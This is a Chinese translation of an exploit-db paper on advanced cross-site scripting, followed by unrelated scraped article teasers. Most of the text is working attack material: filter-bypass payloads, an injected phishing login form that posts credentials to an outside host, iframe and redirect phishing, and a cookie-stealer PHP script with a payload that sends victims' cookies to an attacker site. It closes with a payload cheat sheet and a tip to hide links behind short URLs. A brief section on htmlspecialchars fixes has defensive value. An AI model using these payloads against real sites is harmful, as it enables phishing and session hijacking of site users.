【翻译】高级XSS技术

原文地址:https://www.exploit-db.com/papers/13646/

翻译:ezreal,转载请注明出处

时间:2015年9月20日

一、引言

读者你好,这篇文章总结了我所知道的所有关于 XSS 的相关知识。写作的目的是分享,你可以发布,转载这篇文章,但请保留作者信息。

二、XSS 是什么?

XSS 是 "Cross Site Scripting" 的缩写,从名字可以看出,它与脚本有关,更准确的说是Javascript。它与在网站上注入Javascript命令或脚本有关。XSS 缺陷是网站未对攻击都输入的数据做校验导致的,换句话说,攻击者可以在网站注入恶意脚本,而浏览器将会执行它。

有3种类型的 XSS,我将要讲的是其中最常见的2种:

反射型XSS:

攻击者在搜索框、urls尾部等注入恶意脚本,称为反射型XSS。这相当于向墙上扔一个球,弹回时接住它。

存储型XSS:

注入的XSS脚本永久的存在网站上,比如在留言板里。存储型XSS会危害所有访问这段代码的人。

基于DOM的XSS:

这种不是很常见,可能我需要写另一篇文章来说明基于DOM的XSS。

三、如何执行 XSS 命令

事实上,插入一条XSS非常容易。为了检查目标网站是否存在漏洞,只需查看搜索框等位置,我们通过下面简单的例子来说明这个问题:

index.html

<html>
 <head>
 <title>Google</title>
 </head>
  <body>
 
   <form method="get" action="search.php">
   Google: 
   <input type="text" name="search" size="20" />
   <input type="submit" class="button" value="Submit" />
   </form>
 
 </body>
</html>

search.php

<?php echo $_GET[‘search‘]; ?>

这篇文章剩余部分,也将使用这个脚本作为例子。

我们假设这个文件在网络空间中,当输入:

123

将会访问下面的网址:

http://site.ru/search.php?search=123

并且显示:

123

但现在,我们尝试输入下面的简单脚本:

    <script>alert("turtles");</script>

并且提交,你可以将turtles替换成你自己的单词,甚至使用‘‘代替"",例如:

   <script>alert(‘1234‘);</script>

除了执行语句,我们还可以注入像html标签等内容:

    <h1><font color="#00FF00">I like turtles</font></h1>

当然也可以将代码附加到url后面执行:

http://site.ru/search.php?search=<script>alert(‘turtles‘);</script>

或者:

www.site.ru/search.php?search=<h1><font color="#00FF00">I like turtles</font></h1>

这看起来是攻击者可以决定网站的内容一样。

但是即使上面的失败了,也不必担心,这说明网站使用了过滤技术来防御XSS攻击。但也有办法来绕过这些过滤。下面的章节将介绍它如何工作。

四、绕过技术

有很多技术可以绕过网站的XSS过滤,下面列出一些:

  • magic_quotes_gpc=ON 绕过
  • HEX 转码
  • 混淆
  • 不断尝试
  1. magic_quotes_gpc=ON 是一项php配置(php.ini)

    它使每个‘(单引号)、"(双引号)和 \ (反斜线 )都自动用 / 来代替。尽管仍可以被利用,但这是一种比较有名的抵御XSS的方法

    当为ON的时候如何绕过呢? - 使用名字为String.fromCharCode()的Javascript函数,将你的文本转换为十六进制。

    "turtles"将被转换成下面形式:

    String.fromCharCode(116, 117, 114, 116, 108, 101, 115)

    接下来将它插入到你的alert脚本中:

    www.site.ru/google.php?search=<script>alert(String.fromCharCode(116, 117, 114, 116, 108, 101, 115));</script>

  2. Hex转码是一种有效的绕过方法,由于会将你的脚本进行转码,所以第一眼很难看出脚本功能。

    下面是做法:

    <script>alert(/turtles/);</script>

    转换为十六进制编码后,显示成这样:

    www.site.ru/google.php?search=%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%2F%74%75%72%74%6C%65%73%2F%29%3B%3C%2F%73%63%72%69%70%74%3E

  3. 混淆 - 有时网站管理员会将script、alert()、"‘‘"这些直接放入黑名单,这意味着你在网站搜索"script"只会返回一个错误,看起就像“你不能搜索这个单词”,但这是一种弱保护,可以通过混淆来绕过。

    你的Javascript代码像这样:

    <sCrIpT>alert(‘turtles‘);</ScRiPt>

    有许多无限的可能,但这将带领我们进入下一章节。

  4. 不断尝试:有些时候你需要不断尝试,因为每个网站安全措施都不一样,比如有的甚至不用Cookies。一定要看网站源码,有时你需要像下面这样来修正你的脚本:

    "><script>alert(/turtles/);</script>

    当你在搜索框注入你的代码,截断了html的标签时,这是需要的。你首先需要关闭它,并开启一个新的标签(<script>)

    总而言之,有很多方法来绕过XSS过滤。

    记住:不断尝试!

五、XSS 可以做什么?

到目前为止,我只告诉你如何在网站上生成一个Javascript的alert消息。但现在开始,我将向你介绍XSS对网站的危害,下面是你可以利用XSS漏洞,进行的一些攻击技术:

  • 插入钓鱼脚本
  • Iframe 钓鱼
  • 重定向钓鱼
  • Cookie 窃取
  1. 插入钓鱼脚本:只是向目标网站插入一个"username"和"password"区,受害者可能认为这个网站需要登录。

    下面是一个例子:

    www.site.ru/serach.php?search=<html><body><head><meta content="text/html; charset=utf-8"></meta></head>
      <div style="text-align: center;"><form Method="POST" Action="http://www.phishingsite.ru/phishingscript.php">
      Phishingpage :<br /><br/>Username :<br /> <input name="User" /><br />Password :<br />
      <input name="Password" type="password" /><br /><br /><input name="Valid" value="Ok !" type="submit" />
      <br /></form></div></body></html>

    phishingscript.php的内容:

    <?php
    $login = $_POST[‘user‘];
    $password = $_POST[‘Password‘];
    $open = fopen(‘log.txt‘, ‘a+‘);
    fputs($open, ‘Username : ‘ . $login . ‘<br >‘ . ‘
    Password : ‘ . $password . ‘<br >‘ . ‘<br >‘);
    ?>

  2. Iframe 钓鱼:很简单,只需在目标网站中嵌入一个iframe,显然,它只要长的跟目标网站差不多就行。

    下面是一个例子:

    www.site.ru/search.php?search=<iframe src="http://www.yourphishingsite.ru" height="100%" width="100%"></iframe>

    目标网站将会在iframe中产生一个钓鱼网页,网站用户发现不了区别并进行登录。

  3. 重定向钓鱼:也比较简单,只要注入一段重定向代码,导向你的钓鱼网站,当然钓鱼网站做的要像目标网站。

    下面是一个例子:

    www.site.ru/search.php?search=<script>document.location.href="http://www.yourphishingsite.ru"</script>

    或者:

    www.site.ru/google.php?search=<META HTTP-EQUIV="refresh" CONTENT="0; URL="http://www.yorphishingsite.ru">

  4. Cookie 窃取:XSS缺陷一个可怕的事情就是Cookies窃取攻击,这种方法中,你需要做的是:

    将cookiestealers.php放到你的服务器,接着在目标网站注入一段嵌入了Cookie Stealer脚本的代码。

    cookiestealer.php的内容如下:

    <?php
    $cookie = $HTTP_GET_VARS["cookie"];
    $file = fopen(‘log.txt‘, ‘a‘);
    fwrite($file, $cookie . "nn");
    fclose($file);
    ?>

    将它跟一个log.txt的日志文件,一起上传到你的网站空间,放到同一目录,并设置"0777"权限

    在目标网站注入下面代码:

    http://www.site.ru/search.php?search=<script>location.href = ‘http://phishingsite.ru/cookiestealer.php?cookie=‘+document.cookie;</script>

    接下来,当受害者访问这个页面,他的cookie将会出现在log.txt里面。现在你只需要使用这个cookie就可以了。

    当然你需要将http://phishingsite.ru替换成你的钓鱼网站url

六、如何修复 XSS 缺陷

XSS对你的网站非常危险,尽管你可以简单使用下面函数来加固你的站点:

##########################################################
#                                                        #
# htmlspecialchars()                                     #
# http://php.net/manual/de/function.htmlspecialchars.php #
#                                                        #
##########################################################

用法:

<?php echo htmlspecialchars($_GET[‘search‘]); ?>

或者

##########################################################
#                                                        #
# htmlentities()                                         #
# http://php.net/manual/de/function.htmlentities.php     #
#                                                        #
##########################################################

用法:

<?php echo htmlentities($_GET[‘search‘]); ?>

例如当我输入:

<script>alert("turtles");</script>

显示的是

<script>alert("turtles");</script>

没有任何弹窗,因为<,>,‘,"都被做了转换。

用户的输入变成了无害的、不可执行的html代码

七、备忘

这里是一些XSS代码的备忘,大多数来自于 http://ha.ckers.org/xss.html. 希望你喜欢。

‘‘;!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert(‘XSS‘);">
<IMG SRC=javascript:alert(‘XSS‘)>
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert("RSnake says, ‘XSS‘")`>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=javascript:alert(‘XSS‘)>
<IMG SRC=javascript:alert(‘XSS‘)>
<IMG SRC=javascript:alert(‘XSS‘)>
<IMG SRC="jav    ascript:alert(‘XSS‘);">
<IMG SRC="jav ascript:alert(‘XSS‘);">
<IMG SRC="jav
ascript:alert(‘XSS‘);">

小提示,使用短网址来"隐藏"你的注入,让用户不知道url背后是什么

时间: 2024-08-09 21:45:16

【翻译】高级XSS技术的相关文章

汇编--高级汇编语言技术

第九章 高级汇编语言技术 宏汇编 重复汇编 条件汇编 宏汇编 宏及宏指令 宏定义.宏调用.宏展开 宏定义中的参数 LOCAL伪操作 在宏定义中使用宏 列表伪操作 宏库的建立与调用 PURGE伪操作 宏:宏(Macro)是汇编语言的一个特点,它是与子程序类似又独具特色的另一种简化源程序的方法 是源程序中一段有独立功能的程序代码.一次定义就可以多次调用. 宏指令: 用户自定义的指令.在编程时,将多次调用的功能用一条宏指令来代替. 宏定义 格式:宏指令名 MACRO [哑元表] ……  …… ;宏定义

Android如何实现毛玻璃效果之Android高级模糊技术

自从iOS系统引入了Blur效果,也就是所谓的毛玻璃.模糊化效果,磨砂效果,各大系统就开始竞相模仿,这是怎样的一个效果呢,我们先来看一下,如下面的图片: 效果我们知道了,如何在Android中实现呢,说白了就是对图片进行模糊化处理,小编先给大家讲一下Android高级模糊技术的原理,如下: ·首先我创建了一个空的bitmap,把背景的一部分复制进去,之后我会对这个bitmap进行模糊处理并设置为TextView的背景. ·通过这个bitmap保存Canvas的状态: ·在父布局文件中把Canva

PHP高级架构技术年度大盘点

2015年1月的最后一个周末,上海的冬季虽不如北方的雪窖冰天,但腊月的寒风也足以让人猫 在家中不愿出门.可是,在华美达酒店的一个会议室中,却人声鼎沸.春意融融,第三期商派技术沙龙正在火热进行,本期沙龙的分享主题是PHP高级架构技术, 参与分享的嘉宾清一色都是国内PHP界的领军人物,有Swoole开源项目创始人.PECL开发组成员韩天峰.Symfony2技术布道者洪涛.百度贴吧 架构师夏绪宏,分别就Swoole,Symfony2,及HHVM架构分享.上海的近百位PHPer在现场聆听了偶像们的分享,

[_CN] Eclipse精要与高级开发技术 note

一 eclipse是基于java的 ide ,但根据其体系结构,开发插件,也可拓展到其他语言———————— 尽管如此,但还是很少听说用eclipse来写php或者c的 跨os 三个项目:eclipse项目.eclipse工具项目.eclipse技术项目.———— 都是基于cpl common public license eclipse项目的三个子项目:1 平台子项目2 java开发工具项目 jdt-java3 插件开发环境项目 pde-plug-in 每个插件有一个plugin.xml ec

【网络知识点】高级交换技术

高级交换技术 本文将通过实验展示高级交换技术里面关键知识点,主要以实际配置&关键注意点为主,其基础概念不会作解释.   实验环境: GNS3,三层交换机使用C3640+交换接口模拟,二层交换机使用C3640+交换接口+关闭路由功能模拟,主机使用C7200+关闭路由功能模拟   包含技术: 基础交换技术 高级交换防环:MSTP 高级交换冗余:网关冗余技术-HSRP 基础路由技术,OSPF基础配置 最终实现: VLAN间能相互通信:VLAN10流量走R4-R2-R1主路线,备用路线R4-R3-R1,

Linux环境下的高级隐藏技术

linux相关资料由兄弟连官方分享 摘要:本文深入分析了Linux环境下文件.进程及模块的高级隐藏技术,其中包括:Linux可卸载模块编程技术.修改内存映象直接对系统调用进行修改技术,通过虚拟文件系统proc隐藏特定进程的技术. 隐藏技术在计算机系统安全中应用十分广泛,尤其是在网络攻击中,当攻击者成功侵入一个系统后,有效隐藏攻击者的文件.进程及其加载的模块变得尤为重要.本文将讨论Linux系统中文件.进程及模块的高级隐藏技术,这些技术有的已经被广泛应用到各种后门或安全检测程序之中,而有一些则刚刚

关于印发《新疆维吾尔自治区外语翻译系列专业技术职务任职资格条件(试行)》的通知

关于印发<新疆维吾尔自治区外语翻译系列专业技术职务任职资格条件(试行)>的通知 新人发[2003]74号 颁布时间:2003-10-21 00:00发文单位:新疆维吾尔自治区人事厅. 新疆维吾尔自治区外事办公室 伊犁哈萨克自治州人事局.外办,各地.州.市人事局.外办,自治区各委.办.厅.局.人民团体.大专院校.科研院所.大中型企业人事(职称)部门,中央驻疆单位人事(职称)部门: 现将<新疆维吾尔自治区外语翻译系列专业技术职务任职资格条件(试行)>印发给你们,请遵照执行.执行中有何意

新疆维吾尔自治区少数民族语文翻译系列专业技术职务任职资格评审条件(试行) 新人社发〔2012〕186号

新疆维吾尔自治区少数民族语文翻译系列专业技术职务任职资格评审条件(试行)                         新人社发[2012]186号

openvpn高级路由技术

转:http://blog.csdn.net/dog250/article/details/6975179 目录 server模式以及点对点模式的OpenVPN OpenVPN的高级路由技术 1TAP模式虚拟网卡对源地址的检查以及路由配置思路 2TUN模式虚拟网卡对源地址的检查以及路由配置思路 3如何配置TUN模式的OpenVPN从而通过检查 4为何说网对网通透拓扑的配置很复杂 5OpenVPN的redirect-gateway选项 总结 1.server模式以及点对点模式的OpenVPN 前文